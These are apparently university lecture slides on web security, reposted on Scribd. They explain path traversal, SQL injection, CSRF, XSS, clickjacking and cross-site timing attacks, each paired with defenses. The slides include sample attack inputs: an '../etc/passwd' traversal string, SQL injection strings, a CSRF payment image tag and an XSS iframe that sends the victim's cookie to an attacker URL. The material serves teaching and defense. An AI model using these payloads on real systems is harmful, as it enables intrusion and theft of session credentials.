Scribd
Upload
25 views89 pages

S4 Web Sec

The document discusses various web security threats, including rogue client attacks, SQL injection, and server-side JavaScript injection. It highlights common vulnerabilities, such as path traversal and cross-site attacks, and emphasizes the importance of input sanitization and using prepared SQL statements as defenses. Additionally, it covers web session management and the significance of the Same Origin Policy (SOP) in preventing unauthorized access to resources.

Uploaded by

lgaga7010
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
25 views89 pages

S4 Web Sec

The document discusses various web security threats, including rogue client attacks, SQL injection, and server-side JavaScript injection. It highlights common vulnerabilities, such as path traversal and cross-site attacks, and emphasizes the importance of input sanitization and using prepared SQL statements as defenses. Additionally, it covers web session management and the significance of the Same Origin Policy (SOP) in preventing unauthorized access to resources.

Uploaded by

lgaga7010
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd

University of Connecticut

Computer Science and Engineering


CSE 4402/5095: Network Security

Web Security

© Amir Herzberg
Web: Actors, Objects,…
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…
<img src=Bob…>

Get [Link]

Threats??

09/12/2025
2
Threat 1:
Rogue client attacks sites
(with or w/o user awareness) Get [Link]
Website (Cat)
Cat in Hat

Get [Link]

• Trivial, outdated:
path/directory traversal
• Classic: SQL injection
• Critical; Server-side
Javascript Injection (SSJI)

09/12/2025
3
Path/Directory Traversal
Attack
Path/Directory traversal:
 Exploit GET/POST/cookie parameter:
 Server prepends path of file, e.g. sends ~/mail/$[Link]
 What if request is../../../etc/passwd ?
 Example:
 Web page contains link to:
[Link]
 Attacking-client send request for:
[Link]
 Special case of Mal-crafted Input Injection Attack

04/10/06
Mal-crafted Input Injection

Attacks
Attacker provides input to application:
 Application `executes` input from user/adversary
 Form (POST), URL (GET), cookie parameter, other headers
 Optional: processing, e.g. add prefix to file name
 Or, use result as (SQL) query, command, or script
 Input modifies expected operation (`../etc/passwd`)
 Many ways to exploit : DoS, expose, …
 Many sites & systems are vulnerable
 Focus: SQL injection

04/10/06
SQL Injection Attacks
 Most well known, common type of injection
attacks
 Exploits common web application design:
 User enters fields into web form
 Browser sends to server as HTTP POST (or GET)
 Server uses fields to form SQL query on DB
 Server reformats response as web page (to user)
 Vulnerability: fields contain control chars that
modify meaning of SQL query
 Example…
04/10/06
Example: vulnerable SQL
query
Web
Browser
SELECT [Link] FROM Users
Web WHERE [Link] = ‘$name’
AND password = ‘$pw’
Server
Q?
pw=LuvBob,na
Database
me=Alice SELECT [Link] FROM Users
WHERE [Link] = ‘Alice’
AND Password = ‘LuvBob’

04/10/06
Exploiting vulnerable SQL
query
SELECT [Link] FROM Users
Web WHERE [Link] = ‘$name’
Browser AND password = ‘$pw’

Web
Server
Q?
pw=xxxxxxx,na
Database
me=Admin’ -- SELECT [Link] FROM Users
WHERE [Link] = ‘Admin’ –
‘
AND Password = ‘xxxxxxx’

Exploit: ’ closes string,


-- comments rest of line
04/10/06
Example: SQL Injection
Attack (2)
 An attacker can enter a valid username and
an arbirary password and injects some
additional valid code (“‘ OR 1=1” ) in the
password field
 SELECT [Link]
 FROM UserList
 WHERE [Link] = ‘George’
 AND [Link] = ‘ddd’ OR 1=1’

04/10/06
Defenses against Injection
Attacks
Injections attacks are simple, well known…
 Yet - still common – in spite of good defenses…
 Sanitize inputs
 By application (best – if done well… depend on programmer)
 By application gateway (WAF - `Web Application Firewall`)
 As separate machine or code on appl server
 Careful: does gateway/firewall and server interpret `input` the
same? … evasion attacks…
 Suspect input  detect/suspect attack if
 Avoid `executing` inputs: use parameterized statement
instead
 Separates data from code

04/10/06
Input Sanitation
 `blacklist`: Remove/escape all control (`,”,<…) – tricky; many
chars, many encoding tricks
 `whitelist`: remove all _but_ permitted chars (e.g. letters,
digits)
 More secure, but: not always acceptable (e.g. O’connors)
 And not always enough:
SELECT field FROM table WHERE id = 23 OR 1=1
 Escape/Quotesafe: use built-in functions to avoid quotes etc.
 More tricky than it seems  beware of handcrafted
escaping

04/10/06
SQL Injection: `Exploits of a
Mom`
(or: when Eve is a mother)

[Link]

04/10/06
Parameterized Prepared SQL
Statements
Create SQL statement string with placeholders
 Placeholder: a question mark `?` for each parameter
 Prepare statement before usage
 Available in most languages, e.g. Java:
 Vulnerable code:
Statement s = [Link]();
ResultSet rs = [Link]("SELECT email
FROM member WHERE name = " + formField);
 Using prepared statement:
PreparedStatement ps =
[Link]( "SELECT email FROM
member WHERE name = ?");
[Link](1, formField);
ResultSet rs = [Link]();

04/10/06
Server-Side JavaScript
Injection
 Scripting languages popular at servers, too
 Javascript ([Link]), perl, PhP, …
  Server-side script injection (SSSI)
 Or: server side Javascript injection (SSJI)

09/12/2025
15
Additional layers of defense…
 Principle of least privilege:
limit server permissions
 Add rights after login – segregate users
 Never give admin rights
 Apply to application server (e.g. DB) and to web server
 Ensure error reports go to admin, not to
browser!
 ‘Knowledge is power’
 And… use prepared SQL statements

04/10/06
Many other rogue-client
attacks
 Unauthorized operations on or exposure of…
 server’s data/configuration
 data of other clients
 Often due to weak identification/authentication
 E.g., codes/passwords in the HTML, sequential IDs, …
 Principle: do not rely on client-side code
 What about the reverse: site attacks client?

09/12/2025
17
Threat 2:
Rogue site attacks client
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…

Attack: mal-script – or
other malicious input

Defense: sandbox
See Software/system
security course (Z-day) vulnerabilities…

09/12/2025
18
Threat 3:
Cross-site attacks
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…
<img src=Bob…>

Get [Link]

Attacks: XSS, CSRF, XS-Search, session hijack, ….


Basic defense: Same Origin Policy (SOP)
09/12/2025
19
Web Sessions
 Goal: link requests of same user
 To identify (no login) or authenticate (login once)
 To keep state: shopping cart, game, mail,…
 Challenge: HTTP is stateless [why not IP?]
 How?
 HTTP authentication
 Token: [Link]
 Aka ‘secret URL’
 Cookies
 Basic security risk: session hijacking
 Trivial for MITM attacker (against http, not https)
Web Sessions by HTTP
Authentication
• Authenticate by:
password (basic auth), client server
digest, other
usual http request
•stateless: client presents msg
401: authorization
authorization in each req.
request WWW authenticate:
• Drawbacks: usual http request
msg
–Only (browser-based) + Authorization:
login usual http response
<cred>
msg
–No site-specific UI
–Limited: only one site usual http request
msg
(domain), only in + Authorization: time
session…. usual http response
<cred>
msg
Web Sessions: Token in
Hyperlink/Parm
 Dynamically include session-token in URL
 [Link]
 URL identifies user, privileges, transaction
 State information (e.g., [encrypted?] user ID)
 Authenticating information (e.g., MAC of state and time)
 Easy to use: just click on link (in site, email…)
 But: only works on site-generated hyperlinks
  User must re-authenticate on each entry to site
 And: long, obscure URL (but most users ignore anyway)
 May make phishing easier (users do not notice real URL)
 Exposed to MitM, even stored by proxies
  should be used only over TLS/SSL
 And: disallow 0-TTL handshake to prevent replay
Web Sessions: Token in
Hyperlink/Parm
 Dynamically include session-token in URL
 [Link]
 Easy to use: just click on link (in site, email…)
 But: only works on site-generated hyperlinks
  User must re-authenticate on each entry to site
 Example: PHP servers default mechanism:
 On receiving request: checks session ID (in URL)
 If none: send random session ID, create session
 If exists: reuse session
 Already authenticated ? Allow operations
 Not yet authenticated? Authenticate (e.g., ask for PW)
 Vulnerable to session fixation attack
 Simple form of session hijacking… HOW?
Session Fixation Attack
Defenses:
- (new) sessionID after auth, or
- Authenticated state (MAC), or
- Session-ID in cookie

© ACROS Security
Login Cookie: foils session
fixation
Alice [Link]
/[Link]

Set-cookie: sessionid=40a4c04de

/auth uname=alice&pass=ilovebob
Cookie: sessionid=40a4c04de

/viewbalance
Cookie: sessionid=40a4c04de
“Your balance is $25,000”

Session-Fixation is prevented
Web Sessions by Cookies
client Server (Amazon)
e
Cookie file usual http request server da ntry
msg ta in
usual http response creates ID ba ba
se ck
ebay: 8734 + 1678 for user en
d
Set-cookie: 1678
Cookie file
usual http request
amazon: 1678 msg cookie- ss
ebay: 8734 specific acce
cookie: 1678
usual http response action
msg

ss
one week later:

ce
ac
Cookie file usual http request
msg
cookie-
amazon: 1678 specific
ebay: 8734 cookie: 1678
usual http response action
msg
Cookie Parameters
 Example:
 Server [Link] sends HTTP response header:
Set-Cookie: foo=bar; path=/; expires …
 Browser echos in HTTP request header:
Cookie: foo=bar
 Name (e.g. foo)
 Value (e.g. bar)
 Expiration date (default: till browser closes)
 Path: part of site to which cookie applies
 Cookie-based login ?
Cookies foil Session Fixation
Attacker can send cookie to user
but user will not send it to a
different site
C Can attacker `steal’ the cookie??

C
Cookies Security
 Only send cookies to `same origin site’
 Same domain (any path)
 Sub-domain gets, sets parent-domain cookie
 [Link] can set, get [Link]
 Allows one identifier for all of [Link]
 But .com can’t access [Link] cookies
 Special case of Same Origin Policy (SOP) [next]
 Security flags:
 Secure: send only over secure (SSL) connection
 HttpOnly: unavailable to scripts (even from domain)
 Why? XSS (cross site scripting) attacks [Later]
Sandbox and Same Origin
Policy (SOP)
 Script can:
 Read/write objects of same site/origin
 Including page content, cookies, …; also cached
 Communicate with site (origin)
 XMLhttpReq/Fetch API: http request, receive response
 Script cannot:
 Run native code, access local files: Sandbox
 Can ask browser to upload file with user’s permission
 Access via DOM objects from other sites (origins)
 Communicate with other origins
 Can ask browser to load objects, etc.

09/12/2025
30
Same Origin Policy (SOP)
Allow (code from) origin only access

(objects from) same origin


 Code: JavaScript, Flash, applets, VBscript…
 Different POS policies, e.g., JS, flash, cookies
 Variants, details… see e.g. Browser Security Handbook
 Access: communicate (XMLhttpReq?), or use DOM
 Document Object Model: access to objects
 Unrestricted: instructing browser to load object (e.g., <IMG>)
 Objects: html, form fields, cookies, cache, …
 Origin = Domain? Questions / variants:
 Subdomain vs. domain: [Link] , [Link]?
 Subdomains of same domain: [Link], [Link]?
 Domains using same IP? Or: Same domain, different ports? IPs?

04/10/06
JavaScript Same Origin
Policy (SOP)
 JavaScript from origin only access

(objects from) same origin


 Access: only via XMLHttpReq/Fetch or DOM
 Origin: protocol + domain + port (FQDN)
 Protocol: mainly Flash
http News!
vs. https
 Not entire URL (i.e., not path)

 Flash Passed Away


Some browsers allow any port
- Security concerns
 Does not prevent side channels
- Alternative: HTML5
 E.g., time to load (or until failure)
 Cf. to Flash: only restrict domain; even allow UDP!

04/10/06
CORS: Cross-Origin Resource
Sharing
 When we want to allow access
 E.g., web-API to any/specific sites
 CORS: http header specifying domains which
may access object
 Older method: change [Link]
 SOP is by [Link] (in DOM)
 Object (script) from domain [Link] may access
[Link], if both pages set [Link] to
[Link]
 Can only set it to higher-level domain name!

04/10/06
Access Restrictions
 Restrict access: send XMLhttpReq, get response
 Or: Fetch API, web-sockets, or: (applet) socket
 Unrestricted: links, embedded objects (img, frame,…)
 Why?? Risks of cross-domain network access:
 Circumvent (cookie) access control
 If browser attaches cookie (as in XMLHttpReq)
 Even w/o cookie: against `Intranet/IP access control’
 To expose data, cookies sent from site (even `httpOnly’)
 Abuses: DoS, DNS-spoofing, scan, open proxy, other

04/10/06
DNS Rebinding and IP
Pinning
 SOP restricts network access

 DNS Rebinding attacks:


 Attacker `changes’ its IP address to victim’s site
 Site may inspect `host:` header to detect attack
 Exploits forging `host:’ header (using Flash)
 DoS etc. possible in any case (UDP connection…)
 How to ‘change’ IP address?
 Return two IP addresses, or
 Short TTL DNS record, then return victim IP
 IP Pinning: allow access only to original IP
 Exercise: assume no pinning, Intranet access control

04/10/06
Cross-Site Attacks – in spite
of SOP [Link]
[Link]

 Victim visits rogue website, logged-on to account @ Bank


 Threats: session-hijack, fake operations,
expose/modify information, phishing, …
 Attacks: session-fixation, CSRF, XSS, clickjacking, side-
channels, request-smuggling, response-splitting, …
 Defenses: Sanitation,, referer/origin, tokens, CSP, XFO
…

Amir Herzberg
Cross-Site Attacker Model
[Link]
[Link]

 Victim visits rogue website


 User identified or logged-on to account (session)
 Threats: session-hijack, fake operations, expose
information, modify content, phishing, …
 Attacks: session-fixation, CSRF, XSS, request-
smuggling, response-splitting, clickjacking, side-
channels…
 Defenses: SOP, Sanitation,, referer/origin, tokens, CSP,
…
Amir Herzberg
Cross-site request forgery
(CSRF)
Alice [Link] [Link]
/[Link]

/auth
uname=alice&pass=ilovebob
Cookie: sessionid=40a4c04de
/[Link]
<IMG SRC=[Link]
addr=123 evil st & amt=$10000>
/paybill?addr=123 evil st, amt=$10000
Cookie: sessionid=40a4c04de
“OK. Payment Sent!”
CSRF Prevention: Referer / Origin
 headers
Added by browser, validated by server
 Referer: [Link]
 Privacy concern  often stripped:
 By organization or user (browser pref, add-on)
 By browser for HTTPS  HTTP transitions
 Solution? Proposed client-side enforcement:
Allowed Referrer List (ARL) from server
[Czeskis et al., WWWC’13] ]

 Origin: [Link]
 Less privacy concern… but still sometimes stripped
 And allows attacks among pages in same site
 More robust anti-CSRF defenses ?
Anti-CSRF Token
 Secret sent only with same-site requests
 Hidden-field in form:
<input type=hidden value=23a3af01b>
 Or parameter (in URL), or dedicated header…
 Use site-specific key: PRFk(sessionID)
 Use with (cookie-based) sessionID…
Session-Cookie and CSRF
Token
Alice [Link]
/[Link]
Set-Cookie: sessionid=40a4c04de
<input type=hidden value=23a3af01b>
/auth uname=alice&pass=ilovebob
cookie: sessionid=40a4c04de
/viewbalance
Cookie: sessionid=40a4c04de
“Your balance is $25,000”
Cross-Site Attacker Model
[Link]
[Link]

 Victim visits rogue website


 User identified or logged-on to account (session)
 Threats: session-hijack, fake operations, expose
information, modify content, phishing, …
 Attacks: session-fixation, CSRF, XSS, request-smuggling,
response-splitting, clickjacking, side-channels…
 Defenses: SOP, Sanitation,, referer/origin, tokens, CSP, …

Amir Herzberg
Cross-Site Scripting (XSS)
 Site (unknowingly) serves mal-script as part of page (HTML)
 Mal-script runs on Alice’s browser
 As if it came from Bob  bypass SOP…
 May even expose cookie of Bob (if w/o HttpOnly)
 [Link](‘<iframe
src=“[Link] +[Link]+’”
width=0 height=0></iframe>’);

Attacker [Link]
…<script>…

…<script>…
Cross-Site Scripting (XSS)
 Site (unknowingly) serves mal-script as part of page (HTML)
 Mal-script runs on Alice’s browser
 As if it came from Bob  bypass SOP…
 May read CSRF token (from URL), then do CSRF
 Prevent: send token only for requests (links) in current page?
 Exercise: show attacker can circumvent
 May send requests [with CSRF token, right origin!]
 Defacement: offend, phishing, ads, scams, ...

But why would site


Attacker [Link]
serve script?? …<script>…

…<script>…
Injecting XSS into
Response
Browser runs mal-script as if part of page
 Stored XSS: served by site to all visitors
 From data collected by site, e.g., metadata of auto-indexed files
 Or, from input site received from web-forms (abused by attacker)
 Forums, blogs, talk-back / comments, Wiki, ads, re-tweets, …
 Reflected XSS:
attacker  browser  site  browser
 In-browser XSS: script in #fragment of URL
 Injected XSS: via TCP injection or DNS poisoning
 Both: not really received from server!
Reflected XSS
 Basic problem: lack of data/code separation !
[Link]
GET [Link]
[Link]
…<img src=[Link]/xss?<script>
GET ?xss<script>echo…

404 File xss<script>echo… Not found

Normally, reflected XSS scripts are of limited length


Defending from
reflection/stored

Never trust client-side data!



XSS
Server / WAF: Input data validation and filtering

 Including cookies
 Sanitize: allow only what you expect
 Remove / escape (encode) all special characters
 Encode / remove all but known Ok chars
 Usability issues... Think international text
 Also helps against (SQL, command) injection attacks
 Harder than it seems….]
 E.g., would removing all <script\> - or all ‘<‘ – suffice?
Caution: Scripts not only in
<script>!
 JavaScript as scheme in URI
 <img src=“javascript:alert([Link]);”>
 JavaScript On{event} attributes (handlers)
 From HTML 4.0
 OnSubmit, OnError, OnLoad, …
 Examples:
 <img src=“none” OnError=“alert([Link])”>
 <iframe src=`[Link] onload=`steal()`>
Defending from
reflection/stored XSS
 Server / WAF: Input data validation and filtering

 Server / WAF: Output filtering / encoding


 Remove / encode (X)HTML special chars
 &lt; for <, &gt; for >, &quot for “ …
 Allow only safe commands (e.g., no <script>…)
 Caution: `filter evasion` tricks
 See XSS Cheat Sheet for filter evasion
 E.g., if filter allows quoting (of <script> etc.), use malformed
quoting: <IMG “””><SCRIPT>alert(“XSS”)…
 Or: (long) UTF-8 encode, or… [later]
 Again, caution: Scripts not only in <script>!
Evasion of Content Filtering
 Content and application filtering:
 Critical for security (block, detect)
 Resource-intensive
 Filter: known/suspect attacks (`signatures`), addresses
(`blacklist`), or attack-mechanisms
 Evasion: avoid filtering, by…
 Content morphing and encoding
 Content changes  signature mismatch
 Content editing attacks
 FW/IDS sees one content, victim sees different
 Insertion/deletion attacks
 Fragmentation tricks, Request smuggling, …
 Encrypted content
 Overloading the IDS system (DoS)
Evasion Example 1: Inconsistent
Decoding
Inconsistent decoding of nonstandard encoding
 Specifically: nonstandard UTF-8 encodings
 UTF-8 encodes unicode as 1 to 4 bytes:

Unicode UTF-8
0000 0000 0xxx xxxx 0xxx xxxx (one byte)
0000 0yyy yyzz zzzz 110yyyyy 10zzzzzz (two bytes)
??? 1100000y 10zzzzzz

 How to decode UTF-8 1100000y 10zzzzzz ?


 Standard: ignore (decode only shortest encoding)
 Some implementations: decode as 0yzzzzzz
 Evade if WAF ignores and server/client decodes
Evasion example2: ‘Content
Editing’
Inconsistency at the network/transport layers
 Idea: filter (FW) sees `sanitized/edited` stream
 Yet, victim receives `real` requests/responses
 Insertion: IDS sees `attXack`, victim sees `attack`
 E.g.: packet with short TTL (dropped before victim)
 Or: receipt of overlapping TCP segments (overwrite?)
 Deletion: IDS sees `ack`, victim sees `attack`
 E.g. packet with `wrong` IP version (e.g. 2)
 Similar: Fragmentation/partitioning tricks
 E.g.: implementation differences: overlaps, timeout,…
Defending from XSS
 Server / WAF XSS defenses
 Input data validation and filtering
 Output filtering / encoding
 Client-only XSS defenses
 HttpOnly flag on cookies
 Client side filtering
 E.g., Noxes [Kirda et al., 2006]: personal WAF
 Blocks requests for objects, based on rules
 Content Security Policy (CSP)
Content Security Policy (CSP)
 Policy specified in HTTP response header
 Content-Security-Policy header
 Or in <META> element
 Only if not in HTTP header [why?]
 Several directives, named as: X-src
 Allowed sources for elements of type X
 X in {script, object, style, img, media, frame, font,
connect}
 Default-src: default for all directives/types
 Main goal: block XSS
 Malicious scripts and objects (plugin, applets)
CSP: Blocking XSS
 Defense requires directives:
 Default-src, and/or
 Script-src + Object-src [plugins, applets, scripts]
 Unless directive explicitly permits, block:
 Inline scripts: <script>, event handler, Javascript: links
 Code resulting from evaluation (strings)
 And external code (src=, etc.), unless whitelisted
 Other directives:
 style-src: styles applied to resource (page)
 img-src, media-src, frame-src, font-src
 Connect-src: using DOM API
Limits of CSP
 Can CSP be effective (and how), when
attacker can: poison DNS resolver? Is MitM?
 To prevent change of script: restrict to https
Content-Security-Policy: default-src https:
 To prevent attack fake CSP: entire communication
must be over https
 Challenge: defend against this threat, without
requiring all communication over https
 Hint: use signed-objects – see CDNonDemand
 CSP vs. inline XSS ?
Threat 5:
Cross-User attacks
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…
<img src=Bob…>

Get [Link]

Attacks: clickjacking, phishing,


privacy/credential exposure, …

09/12/2025
64
Clickjacking (UI Redressing)
[foils by Vitaly Shmatikov]
[Hansen and Grossman 2008]

 Attacker overlays multiple transparent or


opaque frames to trick a user into clicking
on a button or link on another page

 Clicks meant for the visible page are routed


to an invisible page
slide 65
It’s All About iFrame
 Any site can frame any other site
<iframe
src=“[Link]
</iframe>
 HTML attributes
 CSS properties (style)
 Opacity defines visibility percentage of the
iframe
 1.0: completely visible
 0.0: completely invisible
 Click-through: pointer-events: none
slide 66
Hiding the Target Element
 Use CSS opacity property and z-index
property to hide target element and make
other element float under the target element
 Using CSS pointer-events: none
property to cover other element over the
target element
opacity: 0.1 pointer-event: none

Click
Like Claim your free
Claim your free
z-index: -1 iPad
iPad
Like

Click

Clickjacking: Attacks and Defenses”] slide 67


Fake Cursors
 Use CSS cursor property and JavaScript to
simulate a fake cursor icon on the screen

Real cursor Fake cursor icon


icon
cursor:
none

[“Clickjacking: Attacks and Defenses”] slide 69


Cursor Spoofing
[“Clickjacking: Attacks and Defenses

slide 70
Drag-and-Drop API
 Modern browsers support drag-and-drop API
 JavaScript can use it to set data being
dragged and read it when it’s dropped
 Not restricted by the same origin policy:
data from one origin can be dragged to a
frame of another origin
 Reason: drag-and-drop can only be initiated by
user’s mouse gesture, not by JavaScript on its
own

Next Generation Clickjacking”] slide 71


Abusing Drag-and-Drop API
ait the user to click and start dragging
3. Invisible iframe from another
nvisible iframe with attacker’s
ext field under mouse cursor,origin with a form field
use API to set data being dragged

Attack webpage

66666
66666
66666
666

Frog. Blender. You know what to do.

slide 72
Next Generation Clickjacking”]
Solution: Frame Busting (?)
 Idea: make sure web page is not loaded in an
enclosing frame  Clickjacking: solved!
 Does not work for FB “Like” buttons and such
if (top != self)
[Link] = [Link]

 Wait, what about our own iFrames ?


 Check: is the enclosing frame one of my own?
 How hard can this be?
 Tricky: many/most frame busting code is broken!

slide 73
X-Frame-Options
 HTTP header sent with the page
 Two possible values: DENY and
SAMEORIGIN
 DENY: page will not render if framed
 SAMEORIGIN: page will only render if top
frame has the same origin

slide 74
Cross-Site Attacker Model
[Link]
[Link]

 Victim visits rogue website


 User identified or logged-on to account (session)
 Threats: session-hijack, fake operations, expose
information, modify content, phishing, …
 Attacks: session-fixation, CSRF, XSS, request-smuggling,
response-splitting, clickjacking, side-channels
 Defenses: Cookies, SOP, Sanitation, CSP, XFO,…

Amir Herzberg
Cross-Site Side-Channels
 Side-channel: beyond ‘input-output’ of system
 Timing, and: power, noise, errors, …
 Often used to attack cryptosystems
 Web security side-channels:
 Timing
 What’s cached?
 Or full cross-site search attack
 User : user exposes his own secrets
 History: detect colors of URLs via user
 Spoofed-CAPTCHAs: con user into exposing private
info, displayed in frame included in page

09/12/2025
80
The Malicious CAPTCHA
Attack
Prompt to the user a CAPTCHA that
encapsulates information in which the
attacker is interested

 Use iframes (w/ sensitive data) from other


websites to build the CAPTCHA

 The user will send the information to the


attacker as a CAPTCHA solution!
The Malicious CAPTCHA
Attack
Problem: (some) users may notice that the
CAPTCHA contains private data 
 Solution 1: sensitive-but-unrecognized info
 Example: CSRF token
The Malicious CAPTCHA
Attack
Problem: (some) users may notice that the
CAPTCHA contains private data 
 Solution 1: sensitive-but-unrecognized info
 As we saw – CSRF token
 Solution 2: Divide, Shuffle and Conquer:
Anagram CAPTCHA
 Divide sensitive info into tiny iFrames
 Shuffle iFrames
 Camouflage: use CSS to obfuscate
Camouflaged Anagram
CAPTCHA
 Example: the name of the victim from Facebook

(old) comment box


Camouflaged Anagram
CAPTCHA
 Example: the name of the victim from Facebook

(old) comment box


Camouflaged Anagram
CAPTCHA
 Example: the name of the victim from Facebook

(old) comment box

Real characters of the name Inno Cent


Camouflaged Anagram
CAPTCHA
 Example: the name of the victim from Facebook

(old) comment box

Dummy characters added by attacker


Cross-Site Side-Channels
 Side-channel: beyond ‘input-output’ of system
 Timing, and: power, noise, errors, …
 Often used to attack cryptosystems
 Web security side-channels:
 User : user exposes his own secrets
 History: detect colors of URLs via user
 Spoofed-CAPTCHAs
 Timing
 Cached objects
 Cross-site search attack

09/12/2025
88
XS-Search: High-Level View
 Cross-site search over user’s data in service
 Attacker cannot access the content of the
response
 Same Origin Policy
 The attacker can measure the response time (T)

...<script>…

GET req
𝑻 Response
XS-Search Example: user
name
 To find out whether the user is Alice or Bob…

 Compare:
 T(Bob): response time for ‘messages sent by Bob’
 T(Alice): response time for ‘messages sent by Alice’

...<Script….>
GET q=in:sent&from:Bob
𝑻 (𝑩𝒐𝒃) Not found

GET q=in:sent&from:Alice
𝑻(𝑨𝒍𝒊𝒄𝒆) Result 1, result 2, ….
XS-Search: Basic Flow
 Transform the query into a challenge request
 Is the name of the user Alice?
 in:sent&from:alice
 Closely related to bob@[Link]?
 bob@[Link]&st=100
 Is she a client of SomeBank?
 noreply@[Link]
 Did Bob bcc Charlie to email during 2015?
 from:bob&bcc:charlie&after:2015/1/1+before:2016/1/1
XS-Search: Basic Flow
 Send a Challenge request
 Is the name of the user Alice?
 True: a Full response is returned (has some content)
 False: an empty response is returned

...<Script….>
GET q=in:sent&from:Alice
𝑻(𝑪𝒉𝒂𝒍𝒍𝒆𝒏𝒈𝒆) ? Unknown response
XS-Search: Basic Flow
 Send a Dummy request
 Is the name of the user fdjakdhasd?
 The response is expected to be empty

...<Script….>
GET q=in:sent&from:Alice
𝑻(𝑪𝒉𝒂𝒍𝒍𝒆𝒏𝒈𝒆) ? Unknown response

GET q=in:sent&from:fdjakdhasd
𝑻 (𝑫𝒖𝒎𝒎𝒚 ) Empty response
XS-Search: Basic Flow

...<Script….>
GET q=in:sent&from:Alice
𝑻(𝑪𝒉𝒂𝒍𝒍𝒆𝒏𝒈𝒆) ? Unknown response
Repeat
several GET q=in:sent&from:fdjakdhasd
times 𝑻 (𝑫𝒖𝒎𝒎𝒚 ) Empty response

Samples Samples
XS-Search: Basic Flow
Statistical Test
Samples Samples

Significant difference between the


distributions?

YES NO
• The responses for the challenge • The responses for the challenge
and dummy requests are and dummy requests are
different identical
• The response for the challenge • The response for the challenge
request is full (not empty) request is empty

The name of the user is Alice The name of the user is NOT Alice
Challenges
 Noise
 Delays depend on several dynamically-changing factors
such as congestion and concurrent processes in client
and server
 Small sample size
 Most statistical tests require large samples
 The attacking web-site has to take advantage of the
duration of the visit by the user (often just a few minutes)
 Avoid detection and blocking (e.g., by server’s anti-DoS
defenses)
 Measurement
 Imprecise: network delays, using Javascript
Dealing with the Challenges
 Statistical tests
 Using the right statistical test is critical for efficiency
 We evaluated several tests (including classical), and
developed other simple tests
 Inflation techniques
 Two techniques to increase the difference in the delay
between full and empty responses
 Divide and conquer algorithms
 Extract information from large dictionaries with low
number of requests
 Improve measurements: measure time from cache
Inflation Techniques
 Increase the difference of the response time
between empty and full response
 Response-length inflation
 ‘Full’ responses usually copy fields from query
 Often a few times per each entry found
 Compute-time inflation
 More complex processing for ‘full’ responses
 Or for the empty responses
Threat 4: Puppet
Get [Link]
Website (Cat)
Cat in Hat <html>
Cat in Hat
Get [Link]
<script…>
…
<img src=Bob…>

Get [Link]

Attacks: DoS, DNS-Poisoning, …

09/12/2025
99
Puppet Attacks
 Puppet: mal-code from Net, running in
sandbox: (applets, scripts, Flash…)
 Potential victims:
 Net: Scan, DNS poisoning, TCP hijack, …
 Host/user: PoW/Captcha, phishing, ads,…
 Victim site/network: DoS, scan, server-attacks
[Link]
GET [Link]
[Link]
…<script>puppet</script>….
GET [Link] , GET [Link], GET [Link]…

[Link], [Link],…

04/10/06
Summary: Web-Sec Threats,
Defenses
• Threats:
• Rogue user attacks site
• Rogue site attacks user
• Cross-site attacks: attacks on user-site relationship
• Puppet: rogue script attacks user, victim sites
• Defenses…
Summary: Browser Security
Headers
• Host, Origin, Referer and XFO
• DNS rebinding, CSRF and Clickjacking
• Content Security Policy (CSP)
• XSS
• HTTP Strict Transport Security (HSTS)
• Force a site to only load in HTTPS (no HTTP)
• HTTP Public Key Pinning (HPKP)
• Whitelist allowable certs to improve PKI
security

You might also like